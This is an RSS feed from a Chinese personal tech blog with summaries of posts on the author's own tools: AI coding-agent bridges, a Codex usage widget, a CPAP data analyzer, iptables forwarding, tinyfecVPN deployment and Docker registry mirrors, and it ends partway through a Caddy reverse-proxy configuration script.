<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>luodaoyi's Blog</title><link>https://luodaoyi.com/</link><description>Recent content on luodaoyi's Blog</description><generator>Hugo</generator><language>zh-CN</language><managingEditor>luodaoyi@gmail.com (luodaoyi)</managingEditor><webMaster>luodaoyi@gmail.com (luodaoyi)</webMaster><copyright>&lt;a rel="license external nofollow noopener noreferrer" href="https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh" target="_blank"&gt;CC BY-NC-SA 4.0&lt;/a&gt;</copyright><lastBuildDate>Thu, 23 Jul 2026 07:24:04 +0000</lastBuildDate><atom:link href="https://luodaoyi.com/index.xml" rel="self" type="application/rss+xml"/><item><title>让 Codex 和 Claude Code 调用 Grok：grok-build 本地 Runtime Bridge</title><link>https://luodaoyi.com/posts/%E8%AE%A9-codex-%E5%92%8C-claude-code-%E8%B0%83%E7%94%A8-grok-grok-build-%E6%9C%AC%E5%9C%B0-runtime-bridge/</link><pubDate>Thu, 23 Jul 2026 13:00:00 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%AE%A9-codex-%E5%92%8C-claude-code-%E8%B0%83%E7%94%A8-grok-grok-build-%E6%9C%AC%E5%9C%B0-runtime-bridge/</guid><description>&lt;p&gt;最近我做了一个更重要的项目：&lt;strong&gt;grok-build&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;源代码仓库：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/luodaoyi/grok-bridge-rs"&gt;https://github.com/luodaoyi/grok-bridge-rs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一句话概括：&lt;strong&gt;它是一个用 Rust 写的本地 Runtime Bridge，让 Codex、Claude Code、OpenCode 这类 Agent 可以把开发任务交给 Grok CLI，同时保留会话、终端、状态和人工接管能力。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>Windows 上实时查看 Codex 用量：我做了一个原生桌面挂件</title><link>https://luodaoyi.com/posts/windows-%E4%B8%8A%E5%AE%9E%E6%97%B6%E6%9F%A5%E7%9C%8B-codex-%E7%94%A8%E9%87%8F-%E6%88%91%E5%81%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E5%8E%9F%E7%94%9F%E6%A1%8C%E9%9D%A2%E6%8C%82%E4%BB%B6/</link><pubDate>Thu, 23 Jul 2026 12:00:00 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/windows-%E4%B8%8A%E5%AE%9E%E6%97%B6%E6%9F%A5%E7%9C%8B-codex-%E7%94%A8%E9%87%8F-%E6%88%91%E5%81%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E5%8E%9F%E7%94%9F%E6%A1%8C%E9%9D%A2%E6%8C%82%E4%BB%B6/</guid><description>&lt;p&gt;最近我做了一个 Windows 小工具，叫 &lt;strong&gt;CodexUsageBar&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;项目地址：&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/luodaoyi/codex-useage-win"&gt;https://github.com/luodaoyi/codex-useage-win&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一句话概括：&lt;strong&gt;它是一个原生 Win32/C++ 桌面挂件，把当前 Codex 账号的 5 小时和每周用量，直接放在桌面上实时显示。&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>我用 Zig 重写了 Komari Agent</title><link>https://luodaoyi.com/posts/%E6%88%91%E7%94%A8-zig-%E9%87%8D%E5%86%99%E4%BA%86-komari-agent/</link><pubDate>Sat, 02 May 2026 18:24:00 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%88%91%E7%94%A8-zig-%E9%87%8D%E5%86%99%E4%BA%86-komari-agent/</guid><description>&lt;p&gt;最近我又折腾了一个小项目，叫 &lt;strong&gt;komari-zig-agent&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;项目地址：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/luodaoyi/komari-zig-agent
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;一句话概括：&lt;strong&gt;这是一个用 Zig 重写的 Komari Agent，目标是直接替换原来的 Go agent，在协议兼容的前提下，把二进制体积和常驻内存压下来。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你用 Komari 监控 VPS、OpenWrt 或者一些小内存机器，这个东西会比较有用。&lt;/p&gt;</description></item><item><title>我做了一个本地版瑞思迈呼吸机数据分析工具：BreatheLens</title><link>https://luodaoyi.com/posts/%E6%88%91%E5%81%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E6%9C%AC%E5%9C%B0%E7%89%88%E7%91%9E%E6%80%9D%E8%BF%88%E5%91%BC%E5%90%B8%E6%9C%BA%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7-breathelens/</link><pubDate>Tue, 28 Apr 2026 13:50:00 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%88%91%E5%81%9A%E4%BA%86%E4%B8%80%E4%B8%AA%E6%9C%AC%E5%9C%B0%E7%89%88%E7%91%9E%E6%80%9D%E8%BF%88%E5%91%BC%E5%90%B8%E6%9C%BA%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7-breathelens/</guid><description>&lt;p&gt;最近我做了一个新项目，叫 &lt;strong&gt;BreatheLens&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;项目地址：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://github.com/luodaoyi/BreatheLens
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;它是一个专门用来分析 &lt;strong&gt;ResMed 瑞思迈 CPAP / APAP 呼吸机 SD 卡数据&lt;/strong&gt; 的本地工具。目标很直接：&lt;strong&gt;把原始治疗数据整理成更容易看懂的图表、表格和建议。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;很多人手里其实并不缺数据，缺的是一个足够直接、足够轻量、又不逼你折腾半天的查看方式。BreatheLens 就是朝这个方向做的。&lt;/p&gt;</description></item><item><title>我写了一个证书监控系统，叫 Certwarden</title><link>https://luodaoyi.com/posts/%E6%88%91%E5%86%99%E4%BA%86%E4%B8%80%E4%B8%AA%E8%AF%81%E4%B9%A6%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F-%E5%8F%AB-certwarden/</link><pubDate>Mon, 20 Apr 2026 14:25:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E6%88%91%E5%86%99%E4%BA%86%E4%B8%80%E4%B8%AA%E8%AF%81%E4%B9%A6%E7%9B%91%E6%8E%A7%E7%B3%BB%E7%BB%9F-%E5%8F%AB-certwarden/</guid><description>&lt;p&gt;我最近整理了一个自己之前写的项目，叫 &lt;strong&gt;Certwarden&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;它不是一个“再造轮子式”的玩具项目，而是一个我觉得在真实运维场景里真的能用得上的东西：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;一个面向团队、平台和托管场景的多租户 SSL/TLS 证书监控系统。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你手上只有一两个域名，证书快过期了，自己记一下也能扛。&lt;/p&gt;
&lt;p&gt;但只要数量一上来，事情就会立刻变味：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;哪些域名的证书快过期了&lt;/li&gt;
&lt;li&gt;哪些证书其实已经异常了&lt;/li&gt;
&lt;li&gt;哪些域名属于哪个客户、哪个租户&lt;/li&gt;
&lt;li&gt;谁该收到通知&lt;/li&gt;
&lt;li&gt;有没有一个页面能直接给别人看当前状态&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;很多团队不是没有意识到证书重要，而是压根没有一套顺手的方式把这件事持续管起来。&lt;/p&gt;
&lt;p&gt;所以我写 Certwarden，解决的就是这个问题。&lt;/p&gt;</description></item><item><title>给 OpenAI Codex 接上 Telegram 通知：从手动下二进制，到一条 npx 搞定</title><link>https://luodaoyi.com/posts/%E7%BB%99-openai-codex-%E6%8E%A5%E4%B8%8A-telegram-%E9%80%9A%E7%9F%A5-%E4%BB%8E%E6%89%8B%E5%8A%A8%E4%B8%8B%E4%BA%8C%E8%BF%9B%E5%88%B6-%E5%88%B0%E4%B8%80%E6%9D%A1-npx-%E6%90%9E%E5%AE%9A/</link><pubDate>Mon, 20 Apr 2026 12:42:32 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%BB%99-openai-codex-%E6%8E%A5%E4%B8%8A-telegram-%E9%80%9A%E7%9F%A5-%E4%BB%8E%E6%89%8B%E5%8A%A8%E4%B8%8B%E4%BA%8C%E8%BF%9B%E5%88%B6-%E5%88%B0%E4%B8%80%E6%9D%A1-npx-%E6%90%9E%E5%AE%9A/</guid><description>&lt;p&gt;我最近把一个小工具重新整理了一遍：&lt;code&gt;go-codex-notify&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;它做的事情很简单，就是给 OpenAI Codex 的 &lt;code&gt;notify&lt;/code&gt; 钩子接一个 Telegram 通知。Codex 任务跑完，或者跑到某个阶段，你人不在电脑前，也能立刻收到一条消息。&lt;/p&gt;
&lt;p&gt;这个东西本身不复杂，但它解决的是一个很实际的问题：&lt;strong&gt;AI 在后台干活的时候，你不想一直盯着终端。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;以前这类小工具最大的问题，不是功能做不出来，而是用起来太别扭。你得自己下载二进制、选平台、放路径、改配置、处理环境变量，最后还得解释给别人怎么装。对作者来说只是几个步骤，对用户来说就是直接放弃。&lt;/p&gt;
&lt;p&gt;所以我这次重点做的不是“让它能发消息”，而是“让它更像一个正常人会愿意用的工具”。&lt;/p&gt;</description></item><item><title>Bilibili 批量取消关注油猴脚本：自动刷新继续下一页</title><link>https://luodaoyi.com/posts/bilibili-%E6%89%B9%E9%87%8F%E5%8F%96%E6%B6%88%E5%85%B3%E6%B3%A8%E6%B2%B9%E7%8C%B4%E8%84%9A%E6%9C%AC-%E8%87%AA%E5%8A%A8%E5%88%B7%E6%96%B0%E7%BB%A7%E7%BB%AD%E4%B8%8B%E4%B8%80%E9%A1%B5/</link><pubDate>Sat, 11 Apr 2026 19:01:50 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/bilibili-%E6%89%B9%E9%87%8F%E5%8F%96%E6%B6%88%E5%85%B3%E6%B3%A8%E6%B2%B9%E7%8C%B4%E8%84%9A%E6%9C%AC-%E8%87%AA%E5%8A%A8%E5%88%B7%E6%96%B0%E7%BB%A7%E7%BB%AD%E4%B8%8B%E4%B8%80%E9%A1%B5/</guid><description>&lt;p&gt;最近想把 B 站关注列表快速清理一下，手动一页一页点太慢，所以写了个油猴脚本。&lt;/p&gt;
&lt;p&gt;脚本下载：&lt;a href="https://luodaoyi.com/scripts/bilibili-unfollow-simple-refresh.user.js"&gt;&lt;code&gt;bilibili-unfollow-simple-refresh.user.js&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这个版本走的是 &lt;strong&gt;B 站网页接口&lt;/strong&gt;，不是模拟鼠标疯狂点按钮，整体会稳一些；同时保留了一个很简单的右下角小面板，方便开始和停止。&lt;/p&gt;
&lt;p&gt;它的逻辑也很直接：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;读取当前页关注列表&lt;/li&gt;
&lt;li&gt;逐个取消关注&lt;/li&gt;
&lt;li&gt;当前页处理完后自动刷新页面&lt;/li&gt;
&lt;li&gt;刷新后自动继续下一页&lt;/li&gt;
&lt;li&gt;如果点了停止，就在当前页处理完之后停下来&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="功能说明"&gt;功能说明&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;支持批量取消当前账号的关注&lt;/li&gt;
&lt;li&gt;支持自动刷新后继续处理下一页&lt;/li&gt;
&lt;li&gt;支持失败重试&lt;/li&gt;
&lt;li&gt;支持基础防频控延时&lt;/li&gt;
&lt;li&gt;支持跳过互粉 / 跳过悄悄关注（默认关闭）&lt;/li&gt;
&lt;li&gt;页面右下角会显示一个简单状态面板&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="使用方法"&gt;使用方法&lt;/h2&gt;
&lt;h3 id="1-安装-tampermonkey"&gt;1. 安装 Tampermonkey&lt;/h3&gt;
&lt;p&gt;浏览器先装好 Tampermonkey 扩展。&lt;/p&gt;</description></item><item><title>[转载] iptables配置无SNAT转发所有流量，保留来源真实ip</title><link>https://luodaoyi.com/posts/%E8%BD%AC%E8%BD%BD-iptables%E9%85%8D%E7%BD%AE%E6%97%A0snat%E8%BD%AC%E5%8F%91%E6%89%80%E6%9C%89%E6%B5%81%E9%87%8F%E4%BF%9D%E7%95%99%E6%9D%A5%E6%BA%90%E7%9C%9F%E5%AE%9Eip/</link><pubDate>Fri, 19 Dec 2025 14:08:04 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%BD%AC%E8%BD%BD-iptables%E9%85%8D%E7%BD%AE%E6%97%A0snat%E8%BD%AC%E5%8F%91%E6%89%80%E6%9C%89%E6%B5%81%E9%87%8F%E4%BF%9D%E7%95%99%E6%9D%A5%E6%BA%90%E7%9C%9F%E5%AE%9Eip/</guid><description>&lt;h1 id="iptables配置无snat转发所有流量保留来源真实ip"&gt;iptables配置无SNAT转发所有流量，保留来源真实IP&lt;/h1&gt;
&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;在网络架构中，我们经常需要通过中转机转发流量到后端服务器。传统方案通常使用 SNAT/MASQUERADE 来实现，但这会导致一个严重问题：&lt;strong&gt;后端服务器看到的来源IP全部变成了中转机的IP&lt;/strong&gt;，丢失了真实客户端IP信息。&lt;/p&gt;
&lt;p&gt;本文将介绍一种&lt;strong&gt;无SNAT转发方案&lt;/strong&gt;，通过 DNAT + 策略路由的组合，在转发所有流量的同时保留客户端的真实IP地址。&lt;/p&gt;</description></item><item><title>tinyfecVPN 全自动部署</title><link>https://luodaoyi.com/posts/tinyfecvpn-%E5%85%A8%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/</link><pubDate>Fri, 19 Dec 2025 13:57:14 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/tinyfecvpn-%E5%85%A8%E8%87%AA%E5%8A%A8%E9%83%A8%E7%BD%B2/</guid><description>&lt;p&gt;这里提供一个“够用且可回滚”的 tinyfecVPN 一键部署脚本：自动安装依赖、拉取/更新源码（含 submodule）、编译 NOLIMIT（无限制）版本、安装二进制到 &lt;code&gt;/usr/local/bin/tinyvpn&lt;/code&gt;，并生成/启用 systemd 服务（Server/Client 分开）。脚本全程交互式输入参数，直接写进 &lt;code&gt;ExecStart&lt;/code&gt;，重启不丢；部署后默认删除源码目录（带路径保护），机器上只留下 &lt;code&gt;tinyvpn&lt;/code&gt; + systemd unit。&lt;/p&gt;</description></item><item><title>利用iptables转发服务器流量</title><link>https://luodaoyi.com/posts/%E5%88%A9%E7%94%A8iptables%E8%BD%AC%E5%8F%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B5%81%E9%87%8F/</link><pubDate>Thu, 18 Dec 2025 16:33:37 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E5%88%A9%E7%94%A8iptables%E8%BD%AC%E5%8F%91%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B5%81%E9%87%8F/</guid><description>&lt;p&gt;这里提供一个“够用且可回滚”的最小 iptables 转发脚本：安装时交互式输入转发目标 IP、需要排除的不转发端口（可多个），并选择入口网卡；其余 TCP/UDP/ICMP 流量统一 DNAT 到后端。由 systemd 托管，重启不丢；一键卸载，出错可干净撤回。&lt;/p&gt;
&lt;h2 id="依赖说明"&gt;依赖说明&lt;/h2&gt;
&lt;p&gt;管理脚本会检测 &lt;code&gt;iptables&lt;/code&gt;/&lt;code&gt;ip&lt;/code&gt;/&lt;code&gt;sysctl&lt;/code&gt;/&lt;code&gt;systemctl&lt;/code&gt;，缺失时可自动用 apt/dnf/yum 安装（也可提前设置 &lt;code&gt;AUTO_INSTALL=1&lt;/code&gt; 静默安装）。在容器环境仍需 &lt;code&gt;CAP_NET_ADMIN&lt;/code&gt; 等权限，否则无法生效。&lt;/p&gt;</description></item><item><title>IPIP 网站 IP 信息查询 Chrome插件 Manifest V3版本升级指南</title><link>https://luodaoyi.com/posts/ipip-chrome-extension-manifest-v3-migration/</link><pubDate>Sun, 17 Aug 2025 03:00:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ipip-chrome-extension-manifest-v3-migration/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;随着Chrome浏览器对Manifest V3的强制要求，许多基于Manifest V2的Chrome扩展都面临着升级的挑战。本文将详细介绍如何将IPIP网站IP信息查询Chrome插件从Manifest V2升级到V3版本，包括遇到的问题、解决方案以及最佳实践。&lt;/p&gt;</description></item><item><title>自建Docker镜像加速服务 mirrors</title><link>https://luodaoyi.com/posts/%E8%87%AA%E5%BB%BAdocker%E9%95%9C%E5%83%8F%E5%8A%A0%E9%80%9F%E6%9C%8D%E5%8A%A1/</link><pubDate>Sat, 10 May 2025 12:46:35 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E8%87%AA%E5%BB%BAdocker%E9%95%9C%E5%83%8F%E5%8A%A0%E9%80%9F%E6%9C%8D%E5%8A%A1/</guid><description>&lt;blockquote&gt;
&lt;p&gt;使用docker compose部署，就俩文件配置好就可以用了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="部署镜像仓库代理"&gt;部署镜像仓库代理&lt;/h2&gt;
&lt;h3 id="1创建账号密码可选"&gt;（1）创建账号密码【可选】&lt;/h3&gt;
&lt;p&gt;配置账号密码：设置密码认证后，我们在进行拉取镜像时就需要先 docker login登入到我们的自建的代理镜像仓库，然后才可以拉取镜像&lt;/p&gt;
&lt;p&gt;注意：执行htpasswd命令时，请把username和password修改为你自己的账号和密码&lt;/p&gt;</description></item><item><title>用Caddy搭建Docker加速服务</title><link>https://luodaoyi.com/posts/%E7%94%A8caddy%E6%90%AD%E5%BB%BAdocker%E5%8A%A0%E9%80%9F%E6%9C%8D%E5%8A%A1/</link><pubDate>Sat, 10 May 2025 00:06:24 +0800</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/%E7%94%A8caddy%E6%90%AD%E5%BB%BAdocker%E5%8A%A0%E9%80%9F%E6%9C%8D%E5%8A%A1/</guid><description>&lt;blockquote&gt;
&lt;p&gt;用Caddy搭建Docker加速服务, 不用跑docker什么的，直接用就可以了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;span class="lnt"&gt;14
&lt;/span&gt;&lt;span class="lnt"&gt;15
&lt;/span&gt;&lt;span class="lnt"&gt;16
&lt;/span&gt;&lt;span class="lnt"&gt;17
&lt;/span&gt;&lt;span class="lnt"&gt;18
&lt;/span&gt;&lt;span class="lnt"&gt;19
&lt;/span&gt;&lt;span class="lnt"&gt;20
&lt;/span&gt;&lt;span class="lnt"&gt;21
&lt;/span&gt;&lt;span class="lnt"&gt;22
&lt;/span&gt;&lt;span class="lnt"&gt;23
&lt;/span&gt;&lt;span class="lnt"&gt;24
&lt;/span&gt;&lt;span class="lnt"&gt;25
&lt;/span&gt;&lt;span class="lnt"&gt;26
&lt;/span&gt;&lt;span class="lnt"&gt;27
&lt;/span&gt;&lt;span class="lnt"&gt;28
&lt;/span&gt;&lt;span class="lnt"&gt;29
&lt;/span&gt;&lt;span class="lnt"&gt;30
&lt;/span&gt;&lt;span class="lnt"&gt;31
&lt;/span&gt;&lt;span class="lnt"&gt;32
&lt;/span&gt;&lt;span class="lnt"&gt;33
&lt;/span&gt;&lt;span class="lnt"&gt;34
&lt;/span&gt;&lt;span class="lnt"&gt;35
&lt;/span&gt;&lt;span class="lnt"&gt;36
&lt;/span&gt;&lt;span class="lnt"&gt;37
&lt;/span&gt;&lt;span class="lnt"&gt;38
&lt;/span&gt;&lt;span class="lnt"&gt;39
&lt;/span&gt;&lt;span class="lnt"&gt;40
&lt;/span&gt;&lt;span class="lnt"&gt;41
&lt;/span&gt;&lt;span class="lnt"&gt;42
&lt;/span&gt;&lt;span class="lnt"&gt;43
&lt;/span&gt;&lt;span class="lnt"&gt;44
&lt;/span&gt;&lt;span class="lnt"&gt;45
&lt;/span&gt;&lt;span class="lnt"&gt;46
&lt;/span&gt;&lt;span class="lnt"&gt;47
&lt;/span&gt;&lt;span class="lnt"&gt;48
&lt;/span&gt;&lt;span class="lnt"&gt;49
&lt;/span&gt;&lt;span class="lnt"&gt;50
&lt;/span&gt;&lt;span class="lnt"&gt;51
&lt;/span&gt;&lt;span class="lnt"&gt;52
&lt;/span&gt;&lt;span class="lnt"&gt;53
&lt;/span&gt;&lt;span class="lnt"&gt;54
&lt;/span&gt;&lt;span class="lnt"&gt;55
&lt;/span&gt;&lt;span class="lnt"&gt;56
&lt;/span&gt;&lt;span class="lnt"&gt;57
&lt;/span&gt;&lt;span class="lnt"&gt;58
&lt;/span&gt;&lt;span class="lnt"&gt;59
&lt;/span&gt;&lt;span class="lnt"&gt;60
&lt;/span&gt;&lt;span class="lnt"&gt;61
&lt;/span&gt;&lt;span class="lnt"&gt;62
&lt;/span&gt;&lt;span class="lnt"&gt;63
&lt;/span&gt;&lt;span class="lnt"&gt;64
&lt;/span&gt;&lt;span class="lnt"&gt;65
&lt;/span&gt;&lt;span class="lnt"&gt;66
&lt;/span&gt;&lt;span class="lnt"&gt;67
&lt;/span&gt;&lt;span class="lnt"&gt;68
&lt;/span&gt;&lt;span class="lnt"&gt;69
&lt;/span&gt;&lt;span class="lnt"&gt;70
&lt;/span&gt;&lt;span class="lnt"&gt;71
&lt;/span&gt;&lt;span class="lnt"&gt;72
&lt;/span&gt;&lt;span class="lnt"&gt;73
&lt;/span&gt;&lt;span class="lnt"&gt;74
&lt;/span&gt;&lt;span class="lnt"&gt;75
&lt;/span&gt;&lt;span class="lnt"&gt;76
&lt;/span&gt;&lt;span class="lnt"&gt;77
&lt;/span&gt;&lt;span class="lnt"&gt;78
&lt;/span&gt;&lt;span class="lnt"&gt;79
&lt;/span&gt;&lt;span class="lnt"&gt;80
&lt;/span&gt;&lt;span class="lnt"&gt;81
&lt;/span&gt;&lt;span class="lnt"&gt;82
&lt;/span&gt;&lt;span class="lnt"&gt;83
&lt;/span&gt;&lt;span class="lnt"&gt;84
&lt;/span&gt;&lt;span class="lnt"&gt;85
&lt;/span&gt;&lt;span class="lnt"&gt;86
&lt;/span&gt;&lt;span class="lnt"&gt;87
&lt;/span&gt;&lt;span class="lnt"&gt;88
&lt;/span&gt;&lt;span class="lnt"&gt;89
&lt;/span&gt;&lt;span class="lnt"&gt;90
&lt;/span&gt;&lt;span class="lnt"&gt;91
&lt;/span&gt;&lt;span class="lnt"&gt;92
&lt;/span&gt;&lt;span class="lnt"&gt;93
&lt;/span&gt;&lt;span class="lnt"&gt;94
&lt;/span&gt;&lt;span class="lnt"&gt;95
&lt;/span&gt;&lt;span class="lnt"&gt;96
&lt;/span&gt;&lt;span class="lnt"&gt;97
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Edit this domain to yours&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;example.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat &lt;span class="s"&gt;&amp;lt;&amp;lt; EOF &amp;gt; /etc/caddy/Caddyfile
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;hub.docker.${DOMAIN} {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; encode gzip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; reverse_proxy * https://registry-1.docker.io {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up Host registry-1.docker.io
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Real-IP {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-For {http.request.remote.host}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Port {http.request.port}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_up X-Forwarded-Proto {http.request.scheme}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Set-Cookie registry-1.docker.io docker.${DOMAIN}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Www-Authenticate &amp;#34;Bearer realm=\&amp;#34;https://auth.docker.${DOMAIN}/token\&amp;#34;,service=\&amp;#34;registry.docker.io\&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; header_down Location &amp;#34;https://production.cloudflare.docker.com&amp;#34; &amp;#34;https://production.cloudflare.docker.${DOMAIN}&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;auth.docker.${DOMAIN} {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; encode gzip
